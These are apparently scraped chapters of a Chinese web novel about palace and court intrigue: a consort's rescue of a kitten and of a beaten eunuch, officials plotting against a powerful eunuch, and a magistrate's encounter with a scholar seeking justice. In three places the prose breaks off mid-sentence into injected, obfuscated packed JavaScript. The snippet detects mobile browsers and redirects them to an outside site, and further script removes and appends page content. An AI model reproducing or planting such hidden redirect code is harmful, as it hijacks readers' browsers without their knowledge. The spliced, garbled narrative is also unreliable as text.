树上传来小猫颤巍巍的叫声,紧接着为了应和似的,人群中间也有人捏着嗓子学猫叫,只是他叫起来不伦不类,惹人哄笑。 嘻嘻哈哈间,忽然有人看到了远处团团簇拥着的一群人,虽然光线昏暗,却也能看清中间是个主子,骇得扑通一声就跪了下去,口中直呼“见过娘娘”。 这一下,其余人哗啦啦也跟着跪了下去。 乔燕走近两步,问道:“起来吧。你们这是在做什么?” 六宫奴婢,顶要紧的就是认全宫里的贵人,乔燕平日尽往来于衔青宫和文华殿,鲜少在后六宫露面,宫人却没有不认得她的。 只是宫人们拿不准她的性子,态度上就显得有些敬畏。 几个宫女太监相互看看,一人被同伴推了推,小心答道:“下午的时候,柳昭仪养的玉主子跑出来顽,将这只幼猫撵到了树上,它好像不会下来,一直在上面叫,奴婢们下值路过,看个热闹。” 宜婵道:“小猫受了惊,就你们那样喊,更怕了才对。” 宫人支吾:“呃,我们,我们也就是……” 说来也巧,这时有人从另一侧小路过来,竟是个长着娃娃脸的熟人。 “怎么这么多人?咦,乔娘娘也在。春山见过娘娘。” 金春山跪地行礼,一只手兜着衣摆,依稀可以看到里面好像装着碎糕点。 乔燕奇道:“起来吧,你这是——?” 金春山脸颊发红,下意识看了眼乔燕身后的宜婵,有些不好意思:“哦,奴婢拿了吃食来喂猫子。” 说着,他下意识低头四顾了一圈周边的草丛,还有不远处的石缝。 乔燕将他的神色尽收眼底,了然道:“你常来么。” “啊……是的,”金春山脸更红了,“奴婢喂的吃食都是大厨房吃剩的。往常有两只大猫在这里活动,还生了五只冬猫,奴婢看今年冬天冷,怕它们熬不过去,就去大厨房要些不要的吃食过来。” 正说着话,树上的小猫许是听到了熟悉的声音,又叫了一声,这一嗓子比之方才大多了,听起来有些凄厉。 金春山才知道树上蹲着一只,吓了一跳,都顾不上跟乔燕说话了。 “虎子,你怎么跑上面去了!” 见乔燕十分温和,围观的宫人胆子大了许多,七嘴八舌地把方才的事说了一顿。 金春山蹲下身,把吃的东西从兜里拿出来放到路边,然后一撸袖子,攀着树干上的结节利索地爬了上去,惹来几声抽气和叫好。 说来也奇妙,方才毛都炸起来的小猫,看到金春山靠近,反而温顺了下去,任由他拎着后颈下了树。 金春山把它放到地上,小猫怕人,一溜烟就不见了。 “它叫虎子?”宜婵问道。 金春山看她一眼,对上视线,也不知怎的就忍不住挪开眼,笑道:“它生着斑纹,头上还有个‘王’字,五只小猫只有它一个长这么威风。” 宜婵笑了起来:“胆子却不怎么威风。” 金春山呆住,总觉得她似乎在笑话自己,霎时间耳根都红透了,忙转移话题:“乔娘娘喜欢猫子吗。这一窝里有两只长毛,其中白色的还生着阴阳眼,煞是好看,您要是喜欢,奴婢明天聘了给您送过去。” “今日不过正巧路过,看个热闹,”乔燕婉言相拒,“好了,都散了吧,咱们也回去了。” 衔青宫的人跟在乔燕后边往回走,金春山亦步亦趋,在宜婵耳边低声说话:“好姐姐,您那儿可有吃的。” 宜婵瞪了他一眼。 黎月微微一笑,去接她手里的风灯,轻声道:“你举了一路了,回头由我来。” 宜婵犹豫一瞬,松开手,走到了后头。 离主子远了,金春山胆子更大了,讨好道:“我一直忙到现在,还不曾吃东西,司礼监的灶房不让我们这些小太监用,过了饭点只能饿着肚子了,不想这么巧遇到您,不知道能不能蹭点吃的。” 他脸庞嫩,看起来甚是可怜,宜婵心一软:“跟来吧。” 金春山心花怒放,笑得梨涡乍现:“欸!” 吃完宜婵特地热的饭,金春山回司礼监,走到半道时开始下雪。 雪越下越大,等到第二天午时,成片的鹅毛大雪里还夹着拳头大的冰雹。 又一天过去,冰雹止,大雪未停,人走出去雪已经埋到了小腿。粗使宫人不得不起早,用木板把雪推到路边,及至四更,路边堆出了连绵的雪包。 坊间街道几乎无人行走,少有几家店铺开着,马桩巷口的茶摊就是其一。没有生意,店主人坐在炉子旁朝着外面灰蒙蒙的天空发愣。 及至申时末,一辆马车碾过整洁的雪地,留下两行车轱辘印。 店主人看到了,走神地想着:巷子里住着几家寒门,几个大官,这辆马车,会是去拜访谁的呢? 又想:这雪何时才停啊,两日没有生意了。 店主人惦记的马车停在了一户人家前,木制大门年岁久远,边角有些磨损,门上提着“束府”两个字。 从马车上下来了一老一少,都穿着常服。 车夫上前敲门,很快开了,里面的人探头出来,见到老人,忙换上笑,拱手作揖:“这位是林公罢,快请进,我们家老爷等很久了。” 林元海看向身后的年轻人,说道:“跟我来吧。” 在仆从的带领下,他们到了书房,推开门。只见四面墙摆满了藏书,中央一张大书桌,书桌后,当朝内阁首辅束继文面南而坐,一手按着宣纸,另一手挥毫,落下两行豪迈的大字,叫人想不看见都不行——暗云凝冻压枝低,万树垂冰作鬼啼。 林元海道:“这两日大雪停了晨议,元辅倒是有闲情在家赋诗。” 束继文瞥了他一眼,慢吞吞道:“许久不写,后两句想不出来了,正要撕了。” 林元海呵呵端详两眼,唤身后的年轻人:“子规,你来接上。” 冯矩知道,这是林元海有意缓解他和束继文的关系,虽知道恐怕难以如愿,却也不忍辜负老人一片心意,于是却之不恭,上前行了一礼。 束继文放下笔,走到一边,没有跟他说话,但也没有拒绝。脱下那身绯色朝服,束元辅比朝堂上要显得温和些。 冯矩站到桌后,提笔舔墨,略作思索,写上了后两句。 两名老者看着纸上新墨,各有思绪。 过了会,束继文淡淡地问林元海:“我怎么不知道,他什么时候成你的学生了?成天带在身边。” “不是学生,总是下属,同在翰林做事,自然天天见面。束大学士啊,你这书房怎么连个多余的凳子都没有,我这老胳膊老腿的,站久了疼的很哪。” 束继文没被他带走话题。 “我知道你的意思,但这等时候不敢信他,今日要说的事,他不能听。” 林元海正色道:“你如此郑重,我也不会拿这事玩笑。子规可信。你之前不是在斟酌人选,我试探过他, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17054674|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他只道若能还政治清明,不惧性命。我这才将他带来。” 这话有些分量,束继文收了轻视,有些动摇。然而信任并非三言两句就可建立的,束继文坚持:“不可。他若在这,就不谈了。” 并非是束继文针对冯矩,此次谋划,他连自己的学生和身后的官员都没说过,只是他为人如此,懒得多费口舌解释,话说得生硬,于是惹林元海误会。 “不谈就不谈,那你还约我来作甚么!子规,我们走。” 语罢,便要拂袖。 “你!” 束继文拽住他袖子,脸色几变,末了忍道:“我并非这个意思,罢了。来人,拿两张凳子进来,再烧壶热水。” 林元海抽出袖子,变脸如变天,眨眼就换上了笑脸。 关上门,束继文沉着脸打开锡罐,取茶叶放入微沸的水里,冯矩见了,便道:“元辅,让下官来吧。” 束继文松开手里的茶筅,任由后生双手接过,问林元海:“你都跟他说了?” 是问冯矩来此之前,他们可曾通过气。 虽然答应冯矩留下,但若林元海在此之前自作主张透露出去,未免失信。 林元海品出他的意思,忙苦笑:“我哪敢,这事还得你说。方才说了,我只拐弯抹角试探过他,旁的什么都没说。” 束继文从鼻子里发出一声冷哼,脸色好了些许。 “既然没说,也不需说了,我已有人选。来,这柿饼是上回鼐尔赠我的,你尝尝。” 林元海接过柿饼,咬了一口就放了下来:“太甜了。” “从前你不是挺爱吃甜的,我们那科,就你最爱吃甜食,琼林宴的时候曲水流觞,你紧着点心拿,我可都记着呢。” 林元海大窘:“四十多年前的事了!提这些做什么,后生看着呢。” 束继文哈哈大笑,笑了一会儿,忽然换上落寞的神情。 “老的老病的病,冯忱去后,官场里,当年一同登科的,只剩你我了。” 此话一出,林元海也沉默了下去。他叹了口气,拿起柿饼又啃了一口。 “我们那科,多的是弱冠之龄取士,这等文昌盛景,前所未有。当年意气风发,挥斥方遒,可谁料,到最后,谁都没能救得了大齐。” “好好的,提这些做什么。” “碌碌此生,浑浑无为,还以为能做个多了不起的官呢,没想到,这么难。” 束继文忽然看向冯矩:“走到我们这个位置上,已经不是自己想做什么就能做什么了,大多时候都是背后的人推着我们走。我出生晋地,便是再非自愿,也不知不觉成了晋地官员的靠山。我背后有晋党,林太傅背后也有秦王的人。朋党之争,多为私利,惹得朝堂乌烟瘴气,我们稀里糊涂走到这一步已是错,只盼后人能自鉴自省。” 冯矩搁下手中物什,行了一礼:“学生受教。” 茶汤已至火候,冯矩给三人分茶。 各自无言。 林元海心中恻然,不知不觉把一个柿饼吃完了,才觉得甜齁。 他拿起茶杯喝了一口,压下那种甜腻的感觉。最开始束继文说的话又浮了上来,思来想去,还是忍不住问道:“元辅,你道已有人选,莫非是……” “我打算,让仲实来。” 仲实是何舂的字。 林元海脸色微变,拿起茶杯又放下,末了道:“我猜也是。半年前何舂顶撞圣上,贬去山西,是不是你安排的?你从那时候起就在为此事铺垫了吗?” “那时候只是隐约有个计划,若不是圣上近来对董玉莲暧昧不清的态度让我觉得到了时机,我也不会下定决心对他动手。阉竖不除,大齐难兴!” 林元海心事重重:“那你跟何仲实说了吗?” 束继文摇了摇头,却在这时莫名看了眼冯矩,眼里有一丝歉疚。 “他若知道,我怕他就下不去手了。” “你这,唉——”林元海也忍不住看了眼冯矩,神情复杂。终于知道为什么今日的束继文对冯矩格外温和些——他是由今日的冯矩,想到了以后的何舂,于是体谅宽容。 “你这比当初的冯忱还要狠哪!” 说完这句,就不说了。 他们的对话云遮雾罩的,冯矩一直安静旁听,听不懂的地方也未曾开口发问,直到此时,才浑身一震,猛地抬起头,“太傅……” 林元海抬手,止住他的话,叹道:“回头我跟你细说。” 束继文没理会他们,继续道:“所有的事我都安排好了……若一切顺利,到时候,秦王殿下就交给你、你们了。殿下会是个明君,日后君臣怡怡,共续大齐寿命。” 说着,他巍巍地站起身,向着林元海,向着冯矩,行了一礼。 袖子落在桌上,恰扫过冯矩添上的绝句的后两句—— 待到东君巡北陆,银甲纷纷落春溪。 19. 晋升 近日实在太冷,几个炭盆杯水车薪地烧了一夜,晨醒手脚都是冰凉的。 寅初,乔燕头重脚轻地坐起来,眼冒金星。 听到动静,宜婵进得内室,道:“娘娘,文华殿来人传口谕,天寒地冻,雪深难行,今日晨议作罢。” 乔燕如闻纶音,倒回了枕头上,又沉沉睡去。 这一觉格外冗长,中间似乎也醒过,昏昏沉沉,不辩日月。等到再次睁开眼时头疼欲裂,喉咙里像插了千百把刀子,费力四望,屋子里还是黑幽幽一片,一时也分不清究竟是天还没亮,还是自己眼睛坏了。 黎月坐在床边步踏上,手里拿着绣绷,就着一根蜡烛穿引针线,时不时抬头忧心地看一眼,冷不防四目相对,她喜极而泣,立刻站了起来:“娘娘终于醒了。饿不饿?身上难受吗?” “我……”才吐出一个字,喉咙就疼得乔燕皱起了眉,缓了一缓,才说完话,“我睡了多久?” “您昏睡了一天多,医官来瞧过三回,宜婵姐姐怕来去麻烦,做主留了一位女医士歇在后面的值房,奴婢这就去喊她来。” 说着,余光看到边上的火炉,这才想起来,把炉上温着的药端下来:“您先把这个喝了。” 黎月素来稳重,鲜有这样手忙脚乱的时候。乔燕心里微暖,乖乖喝了药。 一旁,黎月又道:“医官说您不可再受凉,但这屋子没有地龙,白天还好点,晚上可怎么办。奴婢和宜婵商量过,我们两个夜里轮流给您暖被子,只求娘娘不要嫌弃。” “我怎会嫌弃,”乔燕温柔道,“我该谢谢你们才是。” 病来如山倒,乔燕足足躺了半个月才见好。这半个月里大大小小宫妃都来探过病,就连皇后也遣人来过几次,唯有柳昭仪没有来过。听说她近来鲜少踏出紫薇宫,赵王进宫的次数也有所减少——自二皇子封秦王后,这对母子行事低调了许多。 无人前来时,宫人们轮流陪乔燕打发时光,有时候金春山过来,带来一些前朝听来的消息。 大雪不止,从北直隶一直下到浙江,民间人畜冻死以万计,不知何时开始有“帝不仁,天不遂”的谣言在两京流传。传到朝堂上,文景帝怒急攻心,一病不起,为了平民愤,拖着病体亲自开坛祭天,祈求天象转晴,最后却成了笑话。 天子一怒,血流成河。文景帝将问天观的道士打为“末流骗子”,全都关进天牢等着来年秋后问斩,他自己回到主敬殿吐了一口血,彻底倒了下去。 乔燕一能下地,立即顶着风雪去主敬殿请安。 半个月说长不长,主敬殿一切如常,只是门口不见了那两个总是故作老成的道童。 问天观的道士被问罪,两个无辜稚子也不知是什么结局,以后若是有机会打听一下,还活着就帮一帮……乔燕忍下恻然,向门口太监道明来意。 太监入内通报,不多时出来,身边跟着主敬殿的总管太监卢柴。卢柴连连作揖赔笑:“乔娘娘,不是奴婢不让您进,圣上还没醒,奴婢不敢擅作主张。” 乔燕不以为意:“不妨事,那我……” 话未说完,身后有人道:“医官不是说,陛下这个时辰该醒了么。” 这声音低沉,一听就知来自年轻男子,乔燕跟着众人一起循声朝阶下看去,撞入一双不见深浅的眼睛。 这双眼简直和文景帝生的一模一样。 京中这个年纪的宗室男子,乔燕都曾在宴会上见过——除了秦王。 乔燕猜出来人身份,在走和留之间犹豫了一下。文景帝万一当真醒了,自己转头就走显得不诚心,于是默不作声地站在一旁。 秦王走到门前,目光淡淡地从她身上掠过,落向卢柴。 卢柴一个激灵,不知为何脸色竟有些白:“回殿下,奴婢、奴婢不敢妄言,圣上确实未醒。” 乔燕离得近,看到他嘴唇轻微地打着哆嗦。 秦王亦有察觉,眼神一沉,龙行虎步地走向大门。卢柴也不知脑子抽了什么风,竟伸出手挡了一下。 就这一下,气氛骤然凝固,门口的太监宫女有一个是一个,下饺子似的跪了下去。 卢柴膝盖一软,磕在地上,竟然吓得带上了哭腔:“殿下……” “里面还有什么人?” 到了这个时候,卢柴不敢再瞒:“赵,赵王殿下在内侍疾。” 秦王脸色沉了下去:“我再问你,父皇可醒着?” “奴,奴婢不知……” 乔燕心里一跳。如今朝局紧张,凡事一涉及这两位皇子,就有夺嫡的嫌疑。她不敢再留,准备离开,却不想秦王忽然扭头道:“四弟既然在内,父皇当是醒了,这位娘娘既然要请安,不如随我入内。” 也不知道赵王一个人在屋子里做什么,内间无旁人,秦王这是怕独自进去出岔子,于是找个人做见证。 乔燕心中暗悔。然而秦王这样说话,她又不好回绝。 许是听到了动静,他们进门的时候,东内间门帘一掀,赵王含笑走了出来。 和秦王不同,赵王兼任工部的侍郎,时常出入御前,乔燕打过几次照面。这位赵王殿下五官清俊,气质温和,因为常年随父修道,身上还有种脱俗之感,乍一见很容易令人生出好感。 “二哥。”赵王道。 秦王亦牵起嘴角笑了一笑:“四弟早早便来侍疾,令愚兄惭愧。” “爹久病在床,做儿子的心里难过,来尽尽孝心,”赵王拱了拱手,话音一转,“知道二哥有话要和爹说,弟弟就先走了。” 去时,经过乔燕身边,乔燕微微屈膝,赵王还不忘喊一声“乔娘娘”算作招呼,礼数周全,让人挑不出一点错处。 秦王没有管赵王去向,往前两步,撩开还在晃动的门帘,看向里面,身形一顿。 乔燕看不到房内的情形,正在纳罕之际,帘后传来文景帝苍老的声音:“既然来了,就进来吧。” 原来文景帝竟醒着。 若方才便醒着,那君父与臣子独处一室,会说些什么?为何卢柴要拦着他们,是受到了谁的授意? 乔燕不敢深想。 李稷走进内间,跪地叩首:“儿臣请父皇安。” “咳咳,起……咳咳咳……” 床上纱帐随着咳嗽声一阵颤动,如果是赵王,这时已经上前嘘寒问暖了,秦王却在站起身后,像根木头一样杵在那里。 咳嗽许久方停,文景帝的胸腔里发出“嗬嗬”的喘息声,吃力地问:“乔氏……呢?” 文景帝显然听到了方才赵王的话,乔燕本来还在外间踌躇,这下是不得不进了。 “妾在这儿,”乔燕穿过门帘,眼眶里已经涌出泪水,泫然欲泣,“早该来看您,但一病经日,今日才能下地。都是妾身不好,没能在您跟前侍疾。” 床帐中探出鸡皮般的手,“过来。” 乔燕走上前,跪在床边,毫无芥蒂地握住了那只手。 在她被家人当做礼物一样赠出的时候,在她最孤苦无依的时候,文景帝给了她一处得以周全自身的容身之地。平心而论,对这位皇帝,哪怕有冯家的冤仇夹在中间,乔燕也很难生起怨恨。 “咳咳,别说傻话,不怨你。” 乔燕抽泣不止。 文景帝叹了一声,安抚地动了动手指,轻拍她的掌心。 “你那个侧殿太冷了,我答应过你,让你搬到,咳咳,有地暖的屋子,到现在一直不曾兑现承诺。” 说着,他松开手,指向不远处的多宝柜:“第三排……咳咳咳……左数第二个,你去打开。” “是。” 乔燕站起来,转过身,余光里瞥到秦王。自她出现后,文景帝便视这个儿子为无物,他们其乐融融,反倒衬得秦王像个外人。 也不知秦王此刻是个怎样的心情。 这么想着,乔燕下意识看了眼秦王,不想秦王也正看着她,四目相对一瞬,秦王平静地移开了眼。 乔燕走到多宝柜前,拉开文景帝指定的柜格,里面放着一卷圣旨。 文景帝:“给你的,打开看看。” “是。” 窗外,一只圆滚滚的麻雀扑棱棱地落至窗台,抖落羽毛上的雪水,乌溜溜的黑眼睛好奇地透过琉璃看向窗户内。 满室幽寂,只有文景帝沉重的呼吸。乔燕展开手里的圣旨,阅毕,跪地叩首,恳切哽咽:“妾身谢圣上隆恩。” 秦王目光无声地落在眼前的背影上,她低垂的头颅下有一段修长的脖颈。 说来讽刺,此刻在文景帝对这位后妃态度上,竟见到了他儿时曾肖想过的温情。 “这件事拖到今天,并非忘了,而是晋封位份,总要师出有名才好……咳咳咳……但我这一病,怕是……”话音消弭,文景帝静了片刻,摆了摆手,“算了,你们下去吧,我乏了。” 一离开温暖如春的内间,寒气顿时从四面八方涌上来。乔燕裹紧斗篷,结结实实地打了个寒颤。 候在门口的宜婵忙把新填好炭的手炉塞过去,撑起伞。 “娘娘,我们回了么?” 斗篷里,乔燕摸了摸怀里揣着的圣旨,一时惘然。获封固然欣喜,可皇帝病如槁木的模样始终挥之不去。 心情沉郁,由来有二。一是帝恩难报,二是思及自己宛如攀附巨木的藤蔓,若是文景帝驾崩,这一道圣旨又能护几时呢。 乔燕深吸一口气,看向秦王,等他先行。 “我的侍从不知去哪儿了,娘娘先走吧。”秦王没有什么表情,不过语调尚算温和。 乔燕看得出他心情不佳,只是不好多嘴安慰,于是行了一礼,领着宜婵先行离开。 回到衔青宫,离得尚远,便见门口有一个眼生的太监原地转圈。见到乔燕的步舆,那人激动地冲了过来,跪倒在地,双手紧紧地扒着步舆。 “娘娘,求您救救小金公公吧!” 宜婵倒抽一口冷气。 乔燕叫停步舆,让人起身:“发生什么事了?” 小太监抽抽搭搭,看样子和金春山关系不错,幸而言语没有失了条理,很快说清了来龙去脉。 “柳昭仪的狗主子被发现死在了贤妃宫里,贤妃一口咬定是吃了花园里地上洒落的糕点毒死的,这一查就查到了小金公公头上,小金公公一刻前就被带走了,现今也不知如何,请娘娘快去救救他吧!” 乔燕面色微变:“他在贤妃宫里?” “是的。” 宜婵急道:“既然狗子在花园里吃的糕点,为何会死在贤妃宫里!” 乔燕担忧地看了她一眼,吩咐道:“去敬和宫。” 步舆改道,小太监松开了手,亦步亦趋地跟在后面。乔燕态度镇定,他宛若吃了一剂定心丸,总算记起了身为奴婢的分寸,不由有些后怕,方才那样扒着主子的步舆,也不知会不会遭到嫌恶。 乔燕问:“为何不去司礼监求助?” 金春山好歹是司礼监的人,赵王和董玉莲交往,尚要给几分薄面,更何况是这夺嫡的紧要关头,柳昭仪不是不知好歹的人,司礼监若去要人,只是一句话的事。 小太监苦笑:“奴婢何尝没去。只是司礼监那几位爷爷都是自扫门前雪,哪个有心管这种小事,奴婢去了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不过既然人来了,说明有所求,贤妃倒不急,等了一会儿,门外果然有了动静。 “我不请自到,姐姐不会怪我吧。” 贤妃笑道:“乔妹妹进来说话,我这屋子里烧了地暖,快进来暖暖手脚。” 宫女推开门,乔燕就站在廊下。她有些累,不想勾心斗角,索性开门见山:“姐姐好意我领了,我来讨个人就走,不打扰两位姐姐雅兴。” “妹妹要讨什么人?” “就是外头那个,不是什么要紧人物,请姐姐割爱。” 贤妃看了眼柳昭仪,垂眸不语。柳昭仪果然忍不住了,冷笑道:“那个奴婢毒杀了小玉儿,我就是打死他都不过分。” 乔燕懒得跟她去争毒杀狗的真正凶手,更懒得辩人命轻重,只是轻声道:“人打到现在,已经快没了,姐姐的气也出过了,这个奴婢跟我有些交情,请姐姐看在我的面子上饶他一命,今后绝不叫他在姐姐跟前露面。” 柳昭仪讥诮地看她:“你有什么面子?” 她露锋芒,乔燕莞尔相就,从怀里取出尚未公告的圣旨,双手平举:“圣上业已晋我为二品惠嫔,不知在姐姐眼里,这份脸面够不够。” 她的语调如常,然而听的人却听出了傲慢和羞辱。柳昭仪猛地起身,脸色煞白,又气又羞,说不出一句话。 贤妃的养气工夫略胜一筹,只有眼里露出些许诧异。 本朝祖皇帝提倡俭以养德,在开朝时就取消了九嫔,柳昭仪的“昭仪”之称乃延续旧俗所设,认真说来只有四品,并非嫔级。 而这次文景帝竟打破老祖宗的规定,给乔燕额外封了一个二品嫔位,仅在妃位之下。 乔燕没有等太久,将目光移向贤妃:“贤妃姐姐?” 贤妃慢慢站了起来,她收拾的很快,已经看不出分毫惊诧,笑容和煦亲切:“恭喜了。你来的突然,我和柳妹妹也没有准备,贺礼稍后让人送去衔青宫。小玉儿再怎么说也不过是一只狗罢了,哪值得换一条人命,打了这么多杖,柳妹妹的气必然也出了,你想要,就带走吧。” 乔燕让人把金春山抬到衔青宫,在北边倒座房里找了间干净的屋子安置下,又去太医院请医士过来看。报信的小太监合掌直念阿弥陀佛,给乔燕磕头,乔燕这时才有空问:“你和金春山是什么关系?” “回娘娘,奴婢在小金公公后面入宫,净身的时候伤势过重,差点就死了,幸好小金公公给拿了药,救了奴婢一命。” “你倒是知恩图报,也算他没白救你。他这些日子先在我这里养伤,你走一趟司礼监,把这事跟胡秉笔说一声,别回头丢了差事。” “是,是!” 小太监千恩万谢地出去了。 事情忙完,乔燕也准备走了,转身时看到宜婵低着头站在门边上,不由叹了口气,走过去拉住她的手。 “我升了位份,以后就是衔青宫一宫之主,待那头上了玉牒,尚宫局应当还要送人手过来。回头我去说一声,任你做掌事,阖宫上下你替我看着,也只有你看着,我才能放心。” 宜婵抽了抽鼻子,低低应了。 “再拨个小太监来这里照看着,不会有事的。” 宜婵忍不住哭了一声:“谢娘娘。” “你我之间什么情分,何须言谢。看着他这样,我心里也难受,”乔燕感慨道,“佛家总说因果,今日方才领悟,人生在世,早结兰因,指不定哪日就回报到身上了。” 20. 惊遇 雪飘不停,放眼看去半个大齐一片素白。这一场大雪冻土万里,不知绝了多少农民的希望。 一辆骡车走在雪地上,车轮转动时发出“吱呀”声响。骡子垂着头,没精打采,皮毛上覆着一层薄薄的雪花。 赶车的壮汉伸手掸去积雪,但是没过一刻钟,雪又一层。 “老爷,骡子走不动了,咱们去前面茶棚里停下歇会吧。” 车帘撩起,露出何舂刚正坚毅的脸。 “还有多远?” “还有一个多时辰。” “也好,就歇会儿罢。” 三个月前,何舂被贬至山西代州任县令。 这里去京千里,位于黄河中游,虽不富裕,但也不算什么寒苦之地。何舂知道,这里面肯定有束继文的照拂,他十分感激。 就在他上任后不久,气温陡降,异常寒冷,很多百姓穿不起棉衣,都冻死了。 今天出门,是因为城外出了桩案子——有户员外圈地数千亩,却不肯给佃户发钱粮,导致几户人家饿死了人,一怒之下合伙打死了员外。员外的儿子告到衙门,何舂新官上任面临的就是这样大的命案,少不得提起精神,事无巨细,亲自走访。 这一趟,案情是问清楚了,怎么判却将他难住了。 佃户合伙打死雇主,按律当斩,但法理之外尚有人情,这家员外年年拖欠钱粮,今年这么冷,佃户不得已多上门讨要了几次,就被乱棍打出门,个个身上带伤,其中一个还折了腿。回去后说是冻死,其实更多是因为身上的伤而死。 饥寒交迫,身上带伤,心里绝望,还怎么活得下去呢? 今年这样大的雪,百年难见,到处成灾,本该由朝廷出资安抚。可庙堂之上,圣上病危,气氛绷如一张待发的弓弦,百官自顾不暇,谈何安抚百姓。 青蓬车厢里传出了一声长长的叹息。 “老,老爷……” “怎么了?” “那前面雪窝子里,好像,躺着个人。” 何舂一惊,忙探出身,“快!快去看看!” 车夫跋雪过去,背回来一个头戴纶巾的儒生。这人两手空空地昏死在雪地里,也不知是饿的还是冻的,任他这么躺下去,不出一个时辰就要见阎王了。 “老爷,这人叫不醒,怎么办?。” “怕是遭贼了,先带回去找个大夫看看吧。来,放车里。” “欸!” 好歹是个体格颇沉的成年男子,等把人弄到车里,车夫愣是在这寒冬腊月出了一头的热汗。他用袖子在额头上抹了把,坐回车辕上,问道:“老爷,咱们回吗?” “回!快回!” 骡车又吱呀吱呀地走起来。 车厢里,何舂端详着这个突然冒出来的人:三十岁许,皮肤白,手上有书茧,应是常年读书,不事劳作,看着像有官身的生员。但本县的生员他都见过了,没有这个人。 就在这时,这人哼吟一声,慢慢转醒,面色迷茫。 何舂见他似乎清醒了,便道:“这是代州屯县,我是本县县令何舂。方才见你晕倒于路边,于是命家仆将你背了上来。你是哪里人?为何来这里?又是怎么会晕倒在路边?” 那人本是一脸虚弱,待听到何舂的名字,眼睛倏地亮了,激动道:“您就是那个嫉恶如仇,连皇帝都敢弹劾的何青天!我在阳曲就听过您的大名!太好了,太好了……” 他翻身坐起,哆嗦着伸手入怀。 “我,学生有状要告……学生是太原府阳曲县的廪生,家中做点小生意,本来尚算富足。然而今年六月,乡绅束耘占我妻子,夺我家财,我去衙门告状,却反被抓起来打了二十棍,幸好有生员身份才免于一难。我生怕他们报复,不敢继续待在阳曲,于是跟着商队逃到此地。然而这一路我如鲠在喉,难以释怀,便辞别商队,想要入京寻个公道!不想遇到一伙灾民,欺我伶仃,抢了我的行李……” 何舂打断他:“遇到了灾民?” “是,应当是。那群人面黄肌瘦,有大人有小孩,一开始在路边结队乞讨,见我孤身一人,一拥而上,抢了行李就走……错不了。我一个人不敢追,想着在天黑前赶到县城报官才是正理,没想到一时急火攻心,眼睛一黑就晕倒在了路边。” 他从怀里掏出了一张写满字的状纸,悲愤填膺,“束家仗着庙堂上有靠山,在乡里无恶不作,占田万亩,官商勾结,贩卖私盐,鱼肉百姓,罄竹难书!我此行即为入京叩天,我不信,他们束家再是一手遮天,总不能连北直隶的天也遮了去吧!” 说到这里,他因为过于激动而呛了口空气,激烈地咳嗽起来。 何舂接过他手里的状纸,一目十行看完,久久不语。 他不说话,廪生也不敢开口,过了许久,何舂才问道:“你叫什么名字?” “哦对,学生宋恒。状纸所言罪状,句句属实。本来还带了乡民们联手按的指印,可惜在行李里。”他神色一黯。 “你并未拜入我门下,不必自称学生。” 自称“学生”本就是谦辞,这位县令却一板一眼地指出,弄得宋恒措手不及:“啊,好。” 何舂折好状纸,还给他,自责道:“出现流民,盖因我治下无方,才使百姓受苦,流离失所,你不要怪他们,要怪就怪我吧。” “县尊,”宋恒眼中蓄泪,忽然翻身跪地,“您果然一心为民,有佛陀心肠,难怪都喊您青天老爷!青天大老爷,请您助我,揭发束家此等恶行,还晋地百姓朗朗乾坤。” 何舂面色复杂,却是问道:“你要去北直隶,有路引吗?” 从代州至北直隶的路引,须上报至山西承宣布政使司用印。宋恒临时起意,脱离商队,未必备好了去北直隶的路引。就算侥幸躲过了巡检司的稽查,雁门关可躲不开,无引出行是重罪,首犯杖九十,遣返原籍,再犯就要充军了。 “有,有的。我是县学生员,有学政发放的试引,不过……” “也在行李里?” 宋恒讷讷:“是……” 何舂瞥他一眼,闭上了眼睛,“我会让人帮你找的。” “多谢县尊。” 这之后,车厢里陷入了短暂的寂静。话题三番两次被何舂打断,宋恒坐立难安,想问个明白,又怕对方无意帮助自己,反而闹得不痛快。 就在这时,闭目的何县令忽然淡道:“你可知,内阁首辅束继文于我有恩。” 宋恒怔住,片刻后,露出既失望又羞愤的神情,“县尊救我,于我亦有恩,我不让您为难,等找到行李就离开。” 何舂没有作声。 其实他早就心乱如麻。 他有怀疑过宋恒的话,但是…… 朝廷薪水微薄,还常常折成宝钞、香料发放,以致许多官员私下伸手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17065396|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收敛钱财。而民间田税甚苛,农民甘愿把土地兼并给乡绅富户,作佃户赚些糊口的粮食。这样一来,双方你情我愿,大户广占隐田的事并不稀奇。束继文在京中作风俭朴,可山高皇帝远,未必约束得了乡下族人。 而据他这一个月的了解,晋地士绅官商隐隐有结党之势,沆瀣一气,搜刮膏脂。宋恒说的事,真有可能发生。 若此事是真,晋党背靠束继文,岂是一个小小的秀才能撼动的?蚍蜉撼树,虽有决心也无用。 许久,何舂才看向车外,轻声说道:“本官要先见到你说的证据。” 深夜何舂才回到县衙后院。推开院门,孩子住的西厢房的灯已经灭了,而东厢房还亮着。 他先是一顿,继而加快步伐,推开了厢房的门。 嘎—— 